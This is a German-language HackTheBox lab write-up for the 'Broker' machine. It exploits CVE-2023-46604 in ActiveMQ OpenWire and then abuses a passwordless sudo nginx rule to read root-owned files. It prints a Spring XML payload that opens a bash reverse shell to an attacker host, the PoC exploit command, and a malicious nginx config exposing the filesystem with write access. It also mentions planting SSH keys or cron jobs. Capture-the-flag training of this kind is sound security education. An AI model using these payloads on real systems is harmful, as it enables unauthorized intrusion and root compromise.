// HackTheBox

Broker

CVE-2023-46604 (ActiveMQ OpenWire RCE) → GTFOBins nginx sudo rule → beliebiges Lesen von root-eigenen Dateien

HackTheBoxLeichtLinux 20. Juli 2026 6 Min. Lesezeit

Aufklärung

Ein nmap-Scan der Top-1000-Ports fand nur zwei Ports: 22/ssh und 80/http. Der Web-Port antwortet mit einem 401 Unauthorized und dem Header WWW-Authenticate: basic realm="ActiveMQRealm" — das ist die Web-Konsole von Apache ActiveMQ, geschützt durch HTTP Basic Auth. Eine gesperrte Konsole ohne Zugangsdaten wirkt wie eine Sackgasse, also besteht der nächste Schritt in einem vollständigen Port-Sweep (nmap -p-), um zu sehen, was ActiveMQ sonst noch preisgibt. ActiveMQ ist ein Message-Broker, der mehrere Wire-Protokolle auf jeweils eigenen Ports spricht, und die sind meist deutlich schlechter geschützt als die Web-Oberfläche:

Port Dienst
22 SSH
80 HTTP — 401, ActiveMQ-Webkonsole (per Credentials abgesichert)
1883 MQTT
5672 AMQP
8161 Webkonsole (dieselbe wie :80 über nginx-Proxy)
61613/61614 STOMP/WS
61616 OpenWire — unauthentifiziert, RCE-relevant

Port 61616 ist der entscheidende. OpenWire ist das native binäre Messaging-Protokoll von ActiveMQ, und es nimmt Verbindungen ohne jede Authentifizierung an, obwohl die Web-Konsole einen Login verlangt. Ein unauthentifizierter OpenWire-Endpunkt auf einem ActiveMQ, das dem Patch von 2023 vorausgeht, ist genau die Konstellation für CVE-2023-46604 — der Faden, an dem man zieht.

Erstzugang — CVE-2023-46604 (ActiveMQ OpenWire RCE)

CVE-2023-46604 ist eine Schwachstelle zur entfernten Codeausführung in der Art und Weise, wie ActiveMQ OpenWire-Nachrichten deserialisiert. Der OpenWire-Marshaller erlaubt es einem vom Client gelieferten EXCEPTION_RESPONSE-Befehl, jede beliebige Klasse im Klassenpfad des Brokers zu benennen und vom Broker instanziieren zu lassen, wobei ein vom Angreifer kontrollierter String an deren Konstruktor übergeben wird. Die für den Exploit gewählte Klasse ist org.springframework.context.support.ClassPathXmlApplicationContext — eine Spring-Hilfsklasse, deren Konstruktor eine URL entgegennimmt, von dort eine Spring-Bean-Definitionsdatei (XML) lädt und die darin beschriebenen Beans initialisiert. Da eine Bean-Definition jede beliebige Klasse und jeden Konstruktor bzw. jede Init-Methode benennen kann, wird aus “instanziiere eine Klasse per Name” ein “führe aus, was das entfernte XML mir vorgibt.”

1. Das bösartige Spring-Bean-XML erstellen

Die Payload-Bean ruft java.lang.ProcessBuilder auf und markiert start als Init-Methode, sodass Spring den Prozess ausführt, sobald die Bean erzeugt wird. Der Befehl ist eine Bash-Reverse-Shell zurück zum Angreifer auf Port 4444. Dies wird als exploit/webroot/poc.xml gespeichert:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>bash -i &gt;&amp; /dev/tcp/&lt;LHOST&gt;/4444 0&gt;&amp;1</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

2. Das XML über HTTP bereitstellen

Der Broker muss poc.xml abrufen können, also wird ein einfacher HTTP-Server in dem Verzeichnis gestartet, das die Datei enthält. Rubys eingebauter Einzeiler genügt:

$ ruby -run -e httpd . -p 8000

3. Das OpenWire-Paket abfeuern

exploit/exploit.py (aus dem öffentlichen PoC-Repo evkl1d/CVE-2023-46604) baut das rohe binäre OpenWire-Paket von Hand zusammen: ein Längen-Präfix, das Typ-Byte 0x1f (EXCEPTION_RESPONSE), dann der Zielklassenname und die XML-URL, kodiert als längen-präfixierte Strings. Es öffnet einen nackten TCP-Socket zu 61616/tcp und sendet die Bytes direkt — ohne ActiveMQ-Client-Bibliothek und ohne Authentifizierung:

$ python3 exploit.py <TARGET> 61616 http://<LHOST>:8000/poc.xml

4. Die Shell abfangen

Der Broker parst das Paket, instanziiert ClassPathXmlApplicationContext, holt poc.xml per HTTP von unserem Server und lädt die ProcessBuilder-Bean — was die Reverse-Shell auslöst. Ein nc -lvnp 4444-Listener fängt sie als der Dienstbenutzer activemq auf. Das Versions-Banner bestätigt, warum es funktioniert hat: die Installation ist /opt/apache-activemq-5.15.15, und der verwundbare Bereich für diesen Zweig ist alles unterhalb von 5.15.16.

Rechteausweitung — GTFOBins nginx sudo rule → beliebiges Lesen von root-eigenen Dateien

Das Erste, was man als neuer Benutzer prüft, ist sudo -l, das auflistet, was der Benutzer über sudo ausführen darf. Hier liefert es:

(ALL : ALL) NOPASSWD: /usr/sbin/nginx

activemq darf das nginx-Binary als root ohne Passwort ausführen. nginx ist kein offensichtliches “Hacking-Werkzeug”, aber GTFOBins (ein Katalog dafür, wie sich gewöhnliche Binaries missbrauchen lassen, um aus einem eingeschränkten Kontext auszubrechen) dokumentiert genau dafür eine Technik. nginx akzeptiert eine beliebige Konfigurationsdatei über -c, und eine Konfiguration mit root /; plus autoindex on; lässt nginx das gesamte Dateisystem ausliefern; das Aktivieren der WebDAV-PUT-Methode (dav_methods PUT;) macht diesen Baum zusätzlich beschreibbar. Da sudo nginx als root ausführt, arbeitet der Worker-Prozess — und jede Datei, die er liest oder schreibt — mit den Rechten von root.

1. Die bösartige nginx-Konfiguration schreiben

user root;
worker_processes 1;
pid /tmp/nginx_evil.pid;
events { worker_connections 1024; }
http {
    server {
        listen 8443;
        root /;
        autoindex on;
        dav_methods PUT;
    }
}

2. Sie auf das Ziel bringen und nginx als root starten

Die Konfiguration wird über denselben ruby -run -e httpd-Server bereitgestellt, der zuvor benutzt wurde, mit curl heruntergeladen und dann wird nginx über sudo dagegen gestartet:

$ curl http://<LHOST>:8000/evil.conf -o /tmp/evil.conf
$ sudo /usr/sbin/nginx -c /tmp/evil.conf

3. Root-eigene Dateien über HTTP lesen

Mit root / und autoindex on legt bereits ein einfaches GET an den neuen Listener das gesamte Dateisystem als root offen — für dieses Ziel muss das PUT-Schreib-Primitiv nicht einmal genutzt werden. Ein Abruf des Flag-Pfads liefert ihn direkt:

$ curl http://10.129.230.87:8443/root/root.txt

Das gab root.txt zurück. (Die PUT-Methode würde zusätzlich beliebige root-eigene Schreibvorgänge erlauben — das Ablegen eines SSH-Schlüssels in /root/.ssh/authorized_keys oder eines Jobs in /etc/cron.d für eine vollständige interaktive Root-Shell — aber ein Lesevorgang war hier ausreichend, also war das nicht nötig.)

Erkenntnisse

  • OpenWire (61616) ist standardmäßig unauthentifiziert, selbst wenn die Webkonsole (80/8161) per Credentials abgesichert ist — prüfe die anderen Protokoll-Ports von ActiveMQ (OpenWire, STOMP, MQTT, AMQP) stets unabhängig vom Auth-Zustand der HTTP-Konsole.
  • CVE-2023-46604 benötigt keine kompilierte Payload-Klasse (anders als die JNDI/LDAP-Kette von Log4Shell) — es ist ein rohes, gebautes OpenWire-Paket, das auf eine remote Spring-XML-Bean-Definition zeigt; deutlich geringerer Tooling-Aufwand (nur ein Python-Socket-Skript und ein HTTP-Server).
  • Bei GTFOBins dokumentierte sudo-Escapes lohnen sich, routinemäßig für jedes Binary mit einem nackten NOPASSWD-sudo-Eintrag zu prüfen, selbst bei solchen, die nicht offensichtlich gefährlich wirken — nginx ist kein „Hacking-Tool”, aber eine benutzerdefinierte -c-Konfiguration verwandelt es in einen beliebigen root-privilegierten Datei-Server/-Schreiber.
  • Sobald ein solcher Server mit root / und autoindex on läuft, überkonstruiere die Rechteausweitung nicht — ein einfaches GET kann genügen, wenn das Ziel das Lesen einer bestimmten Datei ist; PUT ist nur für Schreibvorgänge nötig (Persistenz, cron, SSH-Keys, sudoers).
← Alle Writeups